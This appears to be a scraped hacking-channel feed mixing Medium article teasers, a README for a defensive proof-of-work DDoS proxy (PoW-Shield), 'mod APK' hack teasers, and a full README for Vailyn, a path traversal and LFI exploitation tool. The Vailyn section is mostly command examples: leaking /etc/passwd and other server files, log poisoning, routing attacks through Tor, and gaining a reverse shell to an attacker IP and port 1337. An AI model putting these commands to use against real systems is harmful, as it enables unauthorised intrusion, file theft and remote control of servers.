Hacking on Medium
Visa Processors Targeted In Hacker Attacks

An European programmer broke into a U.S. organization’s PC organization and took fouteen thousand Visa numbers, account holders’ names and…

Continue reading on Medium »

Menentukan Severity Kerentanan Menggunakan CVSS
https://medium.com/linuxsec/menentukan-severity-kerentanan-menggunakan-cvss-a98b1db09b6e?source=rss------bug_bounty-5

Cara Menghitung CVSS. Oke ini hanyalah catatan pribadi bagi saya mengenai bagaimana kita menentukan sebuah severity dari temuan bug…Continue reading on LinuxSec » (https://medium.com/linuxsec/menentukan-severity-kerentanan-menggunakan-cvss-a98b1db09b6e?source=rss------bug_bounty-5)

Menentukan Severity Kerentanan Menggunakan CVSS

Cara Menghitung CVSS. Oke ini hanyalah catatan pribadi bagi saya mengenai bagaimana kita menentukan sebuah severity dari temuan bug…Continue reading on LinuxSec »
Read more...

KitPloit - PenTest Tools!
PoW-Shield - Project Dedicated To Fight DDoS And Spam With Proof Of Work, Featuring An Additional WA

http://2.bp.blogspot.com/-RfSp1Prm8Ns/YUOxaTgLFfI/AAAAAAAAvAE/SN4RCzdEi0Y5JMgSOfk7QtJ4oTb9HJ_hACK4BGAYYCw/w640-h290/PoW-Shield_7_screenshot-773941.jpeg Project dedicated to provide DDoS protection with proof-of-work DescriptionPoW Shield provides DDoS protection on OSI application layer by acting as a proxy that utilizes proof of work between the backend service and the end user. This project aims to provide an alternative to general captcha methods such as Google's ReCaptcha that has always been a pain to solve. Accessing a web service protected by PoW Shield has never been easier, simply go to the url, and your browser will do the rest of the verification automatically for you.

PoW Shield aims to provide the following services bundled in a single webapp / docker image:

* proof of work authentication
* ratelimiting and ip blacklisting
* web application firewall Story on Medium How it WorksSo basically, PoW Shield works as a proxy in front of the actual web app/service. It conducts verification via proof-of-work and only proxies authorized traffic through to the actual server. The proxy is easily installable, and is capable of protecting low security applications with a WAF.

Here’s what happens behind the scenes when a user browses a PoW Shield-protected webservice:

1. The server generates a random hex-encoded “prefix” and sends it along with the PoW Shield page to the client.
2. Browser JavaScript on the client side then attempts to brute-force a “nonce” that when appended with the prefix, can produce a SHA256 hash with the number of leading zero-bits more than the “difficulty” D specified by the server. i.e. SHA256(prefix + nonce)=0…0xxxx (binary, with more than D leading 0s)
3. Client-side JavaScript then sends the calculated nonce to the server for verification, if verification passes, the server generates a cookie for the client to pass authentication.
4. The server starts proxying the now authenticated client traffic to the server with WAF filtering enabled. Usagenodejs and docker Configurationenvironment variables Features* Web Service Structure
* Proxy Functionality
* PoW Implementation
* Dockerization
* IP Blacklisting
* Ratelimiting
* Unit Testing
* WAF Implementation
* Multi-Instance Syncing (Redis) References* Proof-of-work by Fedor Indutny (PoW utility functions)
* Shadowd by Zesecure (WAF rules) LicenseBSD 3-Clause License

Copyright (c) 2021, RuiSiang All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

1.
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.

2.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

3.
Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY[...]

OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Download PoW-Shield

Hacking on Medium
How to learn how to finish the job: 8 tips

https://cdn-images-1.medium.com/max/700/1*iwBZpu-178cU_TU837ecxw.jpeg
People are divided into two categories: some are afraid to start, while others start actively, rushing into the matter like into a pool…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
Clash of Clans Hack | Unlimited Gems

https://cdn-images-1.medium.com/max/1920/1*UyyuYOl_RPU5A8sAZsozcg.png
Title: CLASH OF CLANS MOD APK

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
Instagram Mod Apk | Premium Unlocked

https://cdn-images-1.medium.com/max/1920/1*InLau9Gac_JpAzeBS_7qFQ.png
Title: INSTAGRAM MOD APK

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
Hack This Site: Basic Web Challenges — Level 9

https://cdn-images-1.medium.com/max/1237/1*89Tji8UrWusPTKJ8-4VGrA.png
Welcome to HaXez, today we’re looking at Hack This Site Basic Web Challenge Level 9. This challenge is similar to level 8 and you have to…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Kali Linux Tutorials
Vailyn : A Phased, Evasive Path Traversal + LFI Scanning & Exploitation Tool In Python

Vailyn is a multi-phased vulnerability analysis and exploitation tool for path traversal and file inclusion vulnerabilities. It is built to make it as performant as possible, and to offer a wide arsenal of filter evasion techniques. How Does It Work?

Vailyn operates in 2 phases. First, it checks if the vulnerability is present. It does so by trying to access /etc/passwd (or a user-specified file), with all of its evasive payloads. Analysing the response, payloads that worked are separated from the others.

Now, the user can choose freely which payloads to use. Only these payloads will be used in the second phase.

The second phase is the exploitation phase. Now, it tries to leak all possible files from the server using a file and a directory dictionary. The search depth and the directory permutation level can be adapted via arguments. Optionally, it can download found files, and save them in its loot folder. Alternatively, it will try to obtain a reverse shell on the system, letting the attacker gain full control over the server.

Right now, it supports multiple attack vectors: injection via query, path, cookie and POST data. Why The Phase Separation?

The separation in several phases is done to hugely improve the performance of the tool. In previous versions, every file-directory combination was checked with every payload. This resulted in a huge overhead due to payloads being always used again, despite not working for the current page. Installation

Recommended & tested Python versions are 3.7+, but it should work fine with Python 3.5 & Python 3.6, too. To install Vailyn, download the archive from the release tab, or perform

$ git clone https://github.com/VainlyStrain/Vailyn

Once on your system, you’ll need to install the Python dependencies. Unix Systems

On Unix systems, it is sufficient to run

$ pip install -r requirements.txt # –user

Windows

Some libraries Vailyn uses do not work well with Windows, or will fail to install.

If you use Windows, use pipto install the requirements listed in Vailyn\·›\requirements-windows.txt.

If twisted fails to install, there is an unofficial version available here, which should build under Windows. Just bear in mind that this is a 3rd party download, and the integrity isn’t necessarily guaranteed. After this installed successfully, running pip again on requirements-windows.txtshould work. Final Steps

If you want to fully use the reverse shell module, you’ll need to have sshpass, ncatand konsoleinstalled. Package names vary by Linux distribution. On Windows, you’ll need to start the listener manually beforehand. If you don’t like konsole, you can specify a different terminal emulator in core/config.py.

That’s it! Fire Vailyn up by moving to its installation directory and performing

$ python Vailyn -h

Usage

Vailyn has 3 mandatory arguments: -v VIC, -a INT and -p2 TP P1 P2. However, depending on -a, more arguments may be required.

, \ / ,
‘:. . /. ./ .:’
‘:;. :\ .,:/ ”. /; ..::’
‘,’:.,.__.” ‘ ‘ :.__:''.:' ';.. ,;' * * '., .:' v;. ;v’ o
. ‘ ‘.. :.’ ‘ .
‘ ‘:;, ‘ ‘
o ‘ . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
mandatory:
-v VIC, –victim VIC Target to attack, part 1 [pre-payload]
-a INT, –attack INT Attack type (int, 1-5, or A)
A| Spider (all) 2| Path 5| POST Data, json
P| Spider (partial) 3| Cookie
1| Query Parameter 4| POST Data, plain
-p2 TP P1 P2, –phase2 TP P1 P2
Attack in Phase 2, and needed parameters
┌[ Values ]─────────────┬────────────────────┐│ TP │ P1 │ P2 │
├─────────┼───────[...]

___________________________
@hacking_Attack
@Hacking_Video

──────┼────────────────────┤
│ leak │ File Dict │ Directory Dict │
│ inject │ IP Addr │ Listening Port │
│ implant │ Source File │ Server Destination │
└─────────┴─────────────┴────────────────────┘
additional:
-p PAM, –param PAM query parameter or POST data for –attack 1, 4, 5
-i F, –check F File to check for in Phase 1 (df: etc/passwd)
-Pi VIC2, –vic2 VIC2 Attack Target, part 2 [post-payload]
-c C, –cookie C Cookie to append (in header format)
-l, –loot Download found files into the loot folder
-d I J K, –depths I J K
depths (I: phase 1, J: phase 2, K: permutation level) -h, –help show this help menu and exit -s T, –timeout T Request Timeout; stable switch for Arjun
-t, –tor Pipe attacks through the Tor anonymity network
-L, –lfi Additionally use PHP wrappers to leak files
-n, –nosploit skip Phase 2 (does not need -p2 TP P1 P2)
-P, –precise Use exact depth in Phase 1 (not a range)
-A, –app Start Vailyn’s Qt5 interface
develop:
–debug Display every path tried, even 404s.
–version Print program version and exit.
–notmain Avoid notify2 crash in subprocess call.
Info:
to leak files using absolute paths: -d 0 0 0
to get a shell using absolute paths: -d 0 X 0

Vailyn currently supports 5 attack vectors, and provides a crawler to automate all of them. The attack performed is identified by the -a INTargument.

INT attack
—- ——-
1 query-based attack (https://site.com?file=../../../)
2 path-based attack (https://site.com/../../../)
3 cookie-based attack (will grab the cookies for you)
4 plain post data (ELEM1=VAL1&ELEM2=../../../)
5 json post data ({“file”: “../../../”})
A spider fetch + analyze all URLs from site using all vectors
P partial spider fetch + analyze all URLs from site using only selected vectors

You also must specify a target to attack. This is done via -v VICand -Pi VIC2, where -v is the part before the injection point, and -Pi the rest.

Example: if the final URL should look like: https://site.com/download.php?file=, you can specify -v https://site.com/download.phpand -Pi ¶m2=necessaryvalue(and -p file, since this is a query attack).

If you want to include PHP wrappers in the scan (like php://filter), use the --lfiargument. At the end of Phase 1, you’ll be presented with an additional selection menu containing the wrappers that worked. (if any)

If the attacked site is behind a login page, you can supply an authentication cookie via -c COOKIE. If you want to attack over Tor, use --tor. Phase 1

This is the analysis phase, where working payloads are separated from the others.

By default, /etc/passwdis looked up. If the server is not running Linux, you can specify a custom file by -i FILENAME. Note that you must include subdirectories in FILENAME. You can modify the lookup depth with the first value of -d(default=8). If you want to use absolute paths, set the first depth to 0. Phase 2

This is the exploitation phase, where Vailyn will try to leak as much files as possible, or gain a reverse shell using various techniques.

The depth of lookup in phase 2 (the maximal number of layers traversed back) is specified by the second value of the -dargument. The level of subdirectory permutation is set by the third value of -d.

If you attack with absolute paths and perform the leak attack, set all depths to 0. If you want to gain a reverse shell, make sure that the second depth is greater than 0.

By specifying -l, Vailyn will not only display files on the terminal, but also download and save the files into the loot folder.

If you want a verbose output (display every output, not only found files), you can use --debug. Note that output gets really messy, this is basically just a debug help.

To perform t[...]

___________________________
@hacking_Attack
@Hacking_Video

he bruteforce attack, you need to specify -p2 leak FIL PATH, where

* FIL is a dictionary file containing filenames only (e.g. index.php)
* PATH, is a dictionary file containing directory names only. Vailyn will handle directory permutation for you, so you’ll need only one directory per line.

To gain a reverse shell by code injection, you can use -p2 inject IP PORT, where

* IP is your listening IP
* PORT is the port you want to listen on.

WARNING

Vailyn employs Log Poisoning techniques. Therefore, YOUR SPECIFIED IP WILL BE VISIBLE IN THE SERVER LOGS.

The techniques (only work for LFI inclusions):

* /proc/self/environ inclusiononly works on outdated servers
* Apache + Nginx Log Poisoning & inclusion* SSH Log Poisoning* poisoned mail inclusion* wrappers
* expect://* data:// (plain & b64)* php://inputFalse Positive prevention

To distinguish real results from false positives, Vailyn does the following checks:

* check the status code of the response
* check if the response is identical to one taken before attack start: this is useful e.g, when the server returns 200, but ignores the payload input or returns a default page if the file is not found.
* similar to #2, perform an additional check for query GET parameter handling (useful when server returns error that a needed parameter is missing)
* check for empty responses
* check if common error signatures are in the response content
* check if the payload is contained in the response: this is an additional check for the case the server responds 200 for non-existing files, and reflects the payload in a message (like ../../secret not found)
* check if the entire response is contained in the init check response: useful when the server has a default include which disappears in case of 404
* for -a 2, perform an additional check if the response content matches the content from the server root URL
* REGEX check for /etc/passwdif using that as lookup file Examples

* Simple Query attack, leaking files in Phase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file–> http://site.com/download.php?file=../INJECT* Query attack, but I know a file file.phpexists on exactly 2 levels above the inclusion point: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -PThis will shorten the duration of Phase 1 very much, since its a targeted attack.
* Simple Path attack: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs–> http://site.com/../INJECT* Path attack, but I need query parameters and tag: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title"–> http://site.com/../INJECT?token=X#title* Simple Cookie attack: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirsWill fetch cookies and you can select cookie you want to poison
* POST Plain Attack: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"will infect DATA2 with the payload
* POST JSON Attack: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'* Attack, but target is behind login screen: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"* Attack, but I want a reverse shell on port 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection(will start a ncat listener for you if on Unix)
* Full automation in crawler mode: $ Vailyn -v "http://root-url.site" -a Ayou can also specify othe[...]

___________________________
@hacking_Attack
@Hacking_Video

r args, like cookie, depths, lfi & lookup file here
* Full automation, but Arjun needs --stable: $ Vailyn -v "http://root-url.site" -a A -s ANYDownload

___________________________
@hacking_Attack
@Hacking_Video